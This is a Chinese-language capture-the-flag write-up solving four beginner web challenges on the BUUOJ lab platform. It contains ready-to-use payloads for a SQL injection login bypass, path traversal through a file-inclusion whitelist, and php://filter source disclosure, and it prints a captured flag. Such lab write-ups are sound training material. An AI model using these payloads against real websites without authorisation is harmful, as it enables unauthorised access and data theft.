第一天(共4题)
Web
[极客大挑战 2019]EasySQL
Payload:
用户名:admin' or 1=1#
(密码也可以改成这个)
密码:1(可任意)
网站漏洞代码:
sql="select * from user where username='$username&'and password='$password&'"
插入后:
sql="select * from user where username='admin'and password='admin' or 1=1#'"
查询用户名为admin并且password=1或者1=1的数据,由于1=1为真,因此查询语句也为真(#把后面的部分给注释掉了),所以会输出所有用户的信息。
[极客大挑战 2019]Havefun
Payload:
http://a69a56c1-4fdd-49c1-9d54-c51af98faf95.node5.buuoj.cn:81/?cat=dog
(后面加?cat=dog)
没有输入框推测通过url传参,F12发现漏洞代码
直接构造GET方式的cat变量参数为dog即可
[HCTF 2018]WarmUp
Payload:
http://584ac9b3-c311-424c-af4b-53ec8378a79a.node5.buuoj.cn:81/source.php?file=source.php?/../../../../ffffllllaaaagggg
打开网站是一个图片,F12发现HTML注释中提示有source.php文件,进行访问
分析源代码,发现还有hint.php文件,访问提示flag在ffffllllaaaagggg文件中,构造payload使得include能够访问该文件,要求如下:
- 使用GET或POST传参file(因为_REQUEST包含这两种方式)
- 保证file非空
- 保证file穿进emmm类的checkFile方法后能返回True
- include该file值后能访问ffffllllaaaagggg
得出Payload:file=source.php?/../../../../ffffllllaaaagggg
解释:经过第一个mb_substr后得到?前面的source.php(也可以写成hint.php,满足白名单即可),同时include会找不到source.php?/
目录,通过四个…/返回上一级查找目标文件(四次返回上一级通过ffffllllaaaagggg字母重复次数看出)
这里我们只用了checkFile中前两个if,在方法中间还有$_page = urldecode($page);
对page进行解码,因此可以将?换成%253F来进行解码操作(比前面的要多几个步骤,麻烦一点)
[ACTF2020 新生赛]Include
Payload:
http://a0e6bbde-463d-4d4d-8a0b-c296eae0f3fe.node5.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
页面中只有一个超链接且F12后没有发现有用信息,点击tips发现url后加上了?file=flag.php
,加上标题得出这是php://filter 伪协议题目
利用Payload得到Base64字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjgwYjkzY2QtODU2OC00ZWY5LWFkNzUtZGM1ODgwNzAxOTkyfQo=
,解码得到flag
该伪协议会将源代码进行Base64编码后输出,不然会直接当做php代码执行就看不到源代码内容了